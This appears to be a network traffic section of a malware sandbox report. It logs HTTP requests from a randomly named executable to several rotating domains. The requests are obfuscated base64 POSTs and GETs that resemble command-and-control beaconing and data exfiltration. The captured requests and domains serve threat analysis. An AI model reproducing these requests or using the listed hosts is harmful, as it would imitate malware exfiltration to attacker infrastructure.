                                                                                                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED]
                                                                                                                                                                    Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    24192.168.2.562211162.0.209.213802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:29:07.501830101 CEST432OUTGET /lbpf/?EjY0i=xfOdKrMPu&tD38rnpX=M+DfsBvEIkyOAb10y0dA+UDjYbUtqrwEKADScmdz2U7nr/YOsALJT64KSPaG4zh33A22H+qXr8/USoZXKjK93sqqHOCuayEDiHyzHaaTRbnLyC0b3lw7NCCFPm0+2CPqQg== HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Host: www.galaxyslot88rtp.lat
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Oct 25, 2024 16:29:08.180079937 CEST1220INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                    keep-alive: timeout=5, max=100
                                                                                                                                                                    content-type: text/html
                                                                                                                                                                    content-length: 795
                                                                                                                                                                    date: Fri, 25 Oct 2024 14:29:08 GMT
                                                                                                                                                                    server: LiteSpeed
                                                                                                                                                                    location: https://www.galaxyslot88rtp.lat/lbpf/?EjY0i=xfOdKrMPu&tD38rnpX=M+DfsBvEIkyOAb10y0dA+UDjYbUtqrwEKADScmdz2U7nr/YOsALJT64KSPaG4zh33A22H+qXr8/USoZXKjK93sqqHOCuayEDiHyzHaaTRbnLyC0b3lw7NCCFPm0+2CPqQg==
                                                                                                                                                                    x-turbo-charged-by: LiteSpeed
                                                                                                                                                                    connection: close
                                                                                                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED]
                                                                                                                                                                    Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    25192.168.2.5622123.33.130.190802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:29:13.289347887 CEST702OUTPOST /kzas/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 209
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.warriorsyndrome.net
                                                                                                                                                                    Origin: http://www.warriorsyndrome.net
                                                                                                                                                                    Referer: http://www.warriorsyndrome.net/kzas/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 6d 61 76 51 30 4f 34 37 4a 32 68 48 2f 54 35 6c 6f 42 57 61 59 6b 6f 49 57 55 50 53 74 31 6a 65 6a 44 7a 76 31 49 62 6c 33 4c 4f 2f 4f 50 68 2f 76 4c 57 55 79 46 32 46 4a 74 54 4a 2b 5a 36 4a 75 44 57 49 6b 48 4e 61 54 69 69 2b 6a 4f 61 78 58 52 73 77 48 56 30 56 32 4a 69 46 75 39 49 5a 4c 57 45 72 61 49 65 78 2b 59 58 49 71 67 55 38 33 54 66 32 36 4d 6b 58 46 74 72 66 50 5a 34 73 30 6c 35 43 2b 4c 30 4a 78 63 51 69 4b 78 38 76 47 76 67 52 47 32 47 75 61 4b 4b 4d 56 2f 46 7a 6b 46 41 50 32 76 34 5a 79 4c 2b 7a 58 4c 6d 64 54 67 61 62 36 72 53 4f 39 41 6d 52 59 73 2b 73 73 37 75 6b 72 69 63 3d
                                                                                                                                                                    Data Ascii: tD38rnpX=mavQ0O47J2hH/T5loBWaYkoIWUPSt1jejDzv1Ibl3LO/OPh/vLWUyF2FJtTJ+Z6JuDWIkHNaTii+jOaxXRswHV0V2JiFu9IZLWEraIex+YXIqgU83Tf26MkXFtrfPZ4s0l5C+L0JxcQiKx8vGvgRG2GuaKKMV/FzkFAP2v4ZyL+zXLmdTgab6rSO9AmRYs+ss7ukric=


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    26192.168.2.5622133.33.130.190802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:29:15.832669020 CEST722OUTPOST /kzas/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 229
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.warriorsyndrome.net
                                                                                                                                                                    Origin: http://www.warriorsyndrome.net
                                                                                                                                                                    Referer: http://www.warriorsyndrome.net/kzas/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 6d 61 76 51 30 4f 34 37 4a 32 68 48 77 54 4a 6c 74 69 2b 61 65 45 6f 48 54 55 50 53 33 46 6a 53 6a 44 2f 76 31 4a 76 31 33 2b 6d 2f 4f 71 4e 2f 6f 4b 57 55 7a 46 32 46 43 4e 53 4e 6a 70 36 57 75 44 61 41 6b 44 46 61 54 6d 4b 2b 6a 4c 32 78 58 67 73 7a 57 56 30 54 35 70 69 4c 68 64 49 5a 4c 57 45 72 61 49 61 62 2b 59 50 49 72 54 38 38 34 53 66 78 35 4d 6b 55 52 39 72 66 65 70 34 6f 30 6c 34 6c 2b 4b 6f 6e 78 59 67 69 4b 7a 30 76 47 63 34 65 66 6d 47 73 65 4b 4b 64 54 39 74 38 70 6d 59 6c 71 4d 6b 65 68 34 65 38 66 64 4c 33 4a 43 53 7a 70 4c 2b 32 74 54 75 6d 4a 63 66 46 32 59 2b 55 31 31 4b 43 78 6e 4a 57 43 6f 56 2f 58 46 43 30 50 39 73 61 79 49 33 4d
                                                                                                                                                                    Data Ascii: tD38rnpX=mavQ0O47J2hHwTJlti+aeEoHTUPS3FjSjD/v1Jv13+m/OqN/oKWUzF2FCNSNjp6WuDaAkDFaTmK+jL2xXgszWV0T5piLhdIZLWEraIab+YPIrT884Sfx5MkUR9rfep4o0l4l+KonxYgiKz0vGc4efmGseKKdT9t8pmYlqMkeh4e8fdL3JCSzpL+2tTumJcfF2Y+U11KCxnJWCoV/XFC0P9sayI3M


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    27192.168.2.5622143.33.130.190802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:29:18.393805027 CEST1739OUTPOST /kzas/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 1245
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.warriorsyndrome.net
                                                                                                                                                                    Origin: http://www.warriorsyndrome.net
                                                                                                                                                                    Referer: http://www.warriorsyndrome.net/kzas/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 6d 61 76 51 30 4f 34 37 4a 32 68 48 77 54 4a 6c 74 69 2b 61 65 45 6f 48 54 55 50 53 33 46 6a 53 6a 44 2f 76 31 4a 76 31 33 34 2b 2f 4e 63 5a 2f 6f 70 2b 55 77 46 32 46 4c 74 53 41 6a 70 37 4b 75 44 43 4d 6b 44 42 4b 54 6b 43 2b 6a 70 2b 78 52 53 55 7a 50 46 30 54 68 5a 69 4b 75 39 49 4d 4c 57 56 73 61 4c 79 62 2b 59 50 49 72 57 34 38 78 6a 66 78 31 73 6b 58 46 74 72 62 50 5a 34 41 30 6c 67 66 2b 4b 73 5a 78 72 6f 69 4b 54 45 76 57 2b 67 65 58 6d 47 71 5a 4b 4c 41 54 39 77 38 70 6c 38 44 71 50 35 4c 68 34 6d 38 4a 34 75 73 4d 67 4b 31 31 70 69 74 6c 78 61 44 4f 4a 37 45 33 62 4b 75 2f 31 6e 67 74 56 35 48 49 4f 51 2b 63 46 66 47 59 62 51 4a 77 76 2b 4d 6d 41 4c 33 6f 6d 49 36 71 30 4a 74 4a 49 78 54 62 7a 38 7a 61 61 6c 75 57 54 51 54 42 79 7a 6e 6c 38 45 47 39 41 4c 33 48 67 72 54 7a 6c 59 5a 59 33 56 42 48 73 32 75 75 75 5a 63 75 41 59 41 72 43 38 42 41 6c 65 31 31 35 37 4c 37 43 39 38 50 5a 61 46 63 4a 50 71 52 67 69 75 78 53 71 2f 77 45 78 2f 2b 42 49 45 34 48 31 46 4b [TRUNCATED]
                                                                                                                                                                    Data Ascii: tD38rnpX=mavQ0O47J2hHwTJlti+aeEoHTUPS3FjSjD/v1Jv134+/NcZ/op+UwF2FLtSAjp7KuDCMkDBKTkC+jp+xRSUzPF0ThZiKu9IMLWVsaLyb+YPIrW48xjfx1skXFtrbPZ4A0lgf+KsZxroiKTEvW+geXmGqZKLAT9w8pl8DqP5Lh4m8J4usMgK11pitlxaDOJ7E3bKu/1ngtV5HIOQ+cFfGYbQJwv+MmAL3omI6q0JtJIxTbz8zaaluWTQTByznl8EG9AL3HgrTzlYZY3VBHs2uuuZcuAYArC8BAle1157L7C98PZaFcJPqRgiuxSq/wEx/+BIE4H1FKmew/bv19UC4clwc4zIHhIMKYe5B1D/13JGy5MdTUSWyid13utYT/jhKtHIXcsWXTXbdDb6WdFaShV37GFHBSE7lyNMWvGD3cMoBa4A69eqVIKoi6SYSL9OWdVfDP5Lx8TVRxbMcEQfyeSlfLVMvRGjAXftOpAAU3Q/tvr8VyKyTf1SqCG4yXNAcjtCzh3OAjPHNrvcQuV2TTGh0eFcwx5qJi3s5gyU5ux+fUPRirg1C4ioP3QOtC2vVmNGSvDDklzr37BEcFQmhfMJnWtvfGx0dv8rNDPqHtBaxd7JLIONqJeHjHb/qCYOriKdpf3OGaH/TB8WN7cLX2CBFYQTF6odYAruaOtGUkg2JnKu1hmUf0sTTNbPwkYjHp7T9itgo9wOZG/3gewc2haO0oAlAmCa3dvqzDjNOolWAE9/eJWP82VkeYHDjEmFHxz+iUiMUmqbsA6MgGkAGkHUxVhhbAYWEii4BxDnGvKPl5h6zWDZ1JF0FgPusS+pUBkAvF2bB2mdM/6F2PCnDIBC8mWNSFYDLbrz81WYRzXZwrt62GhZq8NFF/llA6c5QF/MPYBCdODEhvs5NSfP6wb0wX4o54NJhDlN60GN6cnxDbI6atae0wVNjIdK7QUGQr8J6r0VvnEa5T0LtPvPWo3rfbaAL01HkOZEi+Q+goD5 [TRUNCATED]


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    28192.168.2.5622153.33.130.190802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:29:20.934905052 CEST432OUTGET /kzas/?tD38rnpX=rYHw3+wcZ3MA1g8BlTjgV3gIUSr9tyXK9S6FoLDJmOPSIdlvtrqwrkb5B8iquLWNvXCfhDtVKXWhlby4MVAaOHgNmcuDptpoO0JCXpb9pqSMmwkCszCoztILHebfPL5T2A==&EjY0i=xfOdKrMPu HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Host: www.warriorsyndrome.net
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Oct 25, 2024 16:29:21.588650942 CEST412INHTTP/1.1 200 OK
                                                                                                                                                                    Server: openresty
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:29:21 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 272
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 74 44 33 38 72 6e 70 58 3d 72 59 48 77 33 2b 77 63 5a 33 4d 41 31 67 38 42 6c 54 6a 67 56 33 67 49 55 53 72 39 74 79 58 4b 39 53 36 46 6f 4c 44 4a 6d 4f 50 53 49 64 6c 76 74 72 71 77 72 6b 62 35 42 38 69 71 75 4c 57 4e 76 58 43 66 68 44 74 56 4b 58 57 68 6c 62 79 34 4d 56 41 61 4f 48 67 4e 6d 63 75 44 70 74 70 6f 4f 30 4a 43 58 70 62 39 70 71 53 4d 6d 77 6b 43 73 7a 43 6f 7a 74 49 4c 48 65 62 66 50 4c 35 54 32 41 3d 3d 26 45 6a 59 30 69 3d 78 66 4f 64 4b 72 4d 50 75 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                    Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?tD38rnpX=rYHw3+wcZ3MA1g8BlTjgV3gIUSr9tyXK9S6FoLDJmOPSIdlvtrqwrkb5B8iquLWNvXCfhDtVKXWhlby4MVAaOHgNmcuDptpoO0JCXpb9pqSMmwkCszCoztILHebfPL5T2A==&EjY0i=xfOdKrMPu"}</script></head></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    29192.168.2.5622163.33.130.190802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:29:26.676563025 CEST675OUTPOST /uxh9/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 209
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.ks1x7i.vip
                                                                                                                                                                    Origin: http://www.ks1x7i.vip
                                                                                                                                                                    Referer: http://www.ks1x7i.vip/uxh9/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 39 75 58 6f 5a 46 4d 61 66 35 4d 78 48 31 7a 41 79 4c 70 36 7a 66 64 47 68 37 53 47 36 37 6c 4e 76 71 48 63 48 41 67 62 75 63 2b 63 36 33 39 62 6f 78 44 45 66 43 7a 64 32 6b 78 33 35 68 37 54 50 75 51 64 75 58 52 71 72 44 48 44 69 61 46 74 46 38 6c 68 79 42 51 79 32 6e 46 2f 6c 62 54 51 48 30 65 6f 4d 57 69 7a 65 77 6f 4d 38 43 6b 30 7a 77 68 56 36 75 55 42 4f 6a 6f 36 68 6d 4c 49 65 42 33 37 31 64 64 2b 52 56 6c 4e 48 7a 79 35 67 76 65 4d 71 46 4e 61 73 43 34 56 6b 63 7a 68 39 56 78 77 6a 69 4b 7a 75 52 6a 57 69 50 37 38 4d 6c 66 4b 37 54 63 70 52 4c 59 63 6a 63 48 7a 62 5a 67 6b 78 35 38 3d
                                                                                                                                                                    Data Ascii: tD38rnpX=9uXoZFMaf5MxH1zAyLp6zfdGh7SG67lNvqHcHAgbuc+c639boxDEfCzd2kx35h7TPuQduXRqrDHDiaFtF8lhyBQy2nF/lbTQH0eoMWizewoM8Ck0zwhV6uUBOjo6hmLIeB371dd+RVlNHzy5gveMqFNasC4Vkczh9VxwjiKzuRjWiP78MlfK7TcpRLYcjcHzbZgkx58=


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    30192.168.2.5622173.33.130.190802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:29:29.225079060 CEST695OUTPOST /uxh9/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 229
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.ks1x7i.vip
                                                                                                                                                                    Origin: http://www.ks1x7i.vip
                                                                                                                                                                    Referer: http://www.ks1x7i.vip/uxh9/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 39 75 58 6f 5a 46 4d 61 66 35 4d 78 46 56 6a 41 2b 4d 39 36 31 2f 64 4a 6b 37 53 47 30 72 6c 4a 76 71 4c 63 48 42 56 41 74 6f 53 63 36 53 42 62 70 30 6a 45 4b 43 7a 64 75 30 78 79 6d 78 37 59 50 75 63 37 75 54 52 71 72 44 54 44 69 61 31 74 46 76 64 2b 77 52 51 30 36 48 46 39 6f 37 54 51 48 30 65 6f 4d 57 33 55 65 32 41 4d 38 79 30 30 7a 55 31 57 7a 4f 55 47 4a 6a 6f 36 6c 6d 4c 45 65 42 32 4c 31 63 78 59 52 58 64 4e 48 78 36 35 75 65 65 50 68 46 4e 51 78 79 34 4c 6a 70 76 73 79 69 52 61 6e 79 7a 56 37 78 58 69 6e 35 57 57 57 48 58 69 6f 7a 77 52 42 59 51 72 79 73 6d 61 42 36 77 55 76 75 6f 4f 41 45 41 32 72 6d 32 2b 67 65 47 47 6f 57 35 56 37 48 2b 59
                                                                                                                                                                    Data Ascii: tD38rnpX=9uXoZFMaf5MxFVjA+M961/dJk7SG0rlJvqLcHBVAtoSc6SBbp0jEKCzdu0xymx7YPuc7uTRqrDTDia1tFvd+wRQ06HF9o7TQH0eoMW3Ue2AM8y00zU1WzOUGJjo6lmLEeB2L1cxYRXdNHx65ueePhFNQxy4LjpvsyiRanyzV7xXin5WWWHXiozwRBYQrysmaB6wUvuoOAEA2rm2+geGGoW5V7H+Y


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    31192.168.2.5622183.33.130.190802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:29:31.767832994 CEST1712OUTPOST /uxh9/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 1245
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.ks1x7i.vip
                                                                                                                                                                    Origin: http://www.ks1x7i.vip
                                                                                                                                                                    Referer: http://www.ks1x7i.vip/uxh9/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 39 75 58 6f 5a 46 4d 61 66 35 4d 78 46 56 6a 41 2b 4d 39 36 31 2f 64 4a 6b 37 53 47 30 72 6c 4a 76 71 4c 63 48 42 56 41 74 70 47 63 37 67 35 62 6f 53 72 45 59 79 7a 64 6d 55 78 7a 6d 78 37 2f 50 75 55 6e 75 54 56 51 72 42 72 44 67 35 39 74 53 75 64 2b 71 42 51 30 79 6e 46 67 6c 62 53 53 48 30 4f 6b 4d 57 6e 55 65 32 41 4d 38 30 77 30 30 41 68 57 2f 75 55 42 4f 6a 70 6f 68 6d 4b 74 65 42 75 39 31 63 31 75 51 6e 39 4e 45 52 4b 35 73 6f 43 50 6f 46 4e 65 68 69 35 59 6a 70 71 73 79 6a 35 38 6e 79 47 79 37 79 48 69 6e 39 6e 62 4d 47 7a 41 37 78 67 49 54 5a 6b 79 6b 4b 32 55 47 63 68 2b 72 4a 64 75 44 6b 56 63 67 6a 4f 43 6d 39 54 51 32 6e 31 39 31 69 48 54 62 66 51 54 73 6c 2b 33 2b 35 5a 4e 64 31 66 54 6e 67 63 54 6e 68 79 79 43 55 6a 64 61 70 69 78 37 72 6d 38 41 50 74 72 75 33 31 72 72 63 6e 33 39 47 51 65 5a 66 5a 33 75 6f 4f 45 70 64 59 6e 53 6f 77 4b 4f 31 65 4e 66 6c 7a 68 70 55 77 4e 56 64 38 47 6d 56 78 6f 48 54 49 4c 37 67 74 48 68 5a 70 54 6e 6d 72 37 6e 73 6a 42 51 [TRUNCATED]
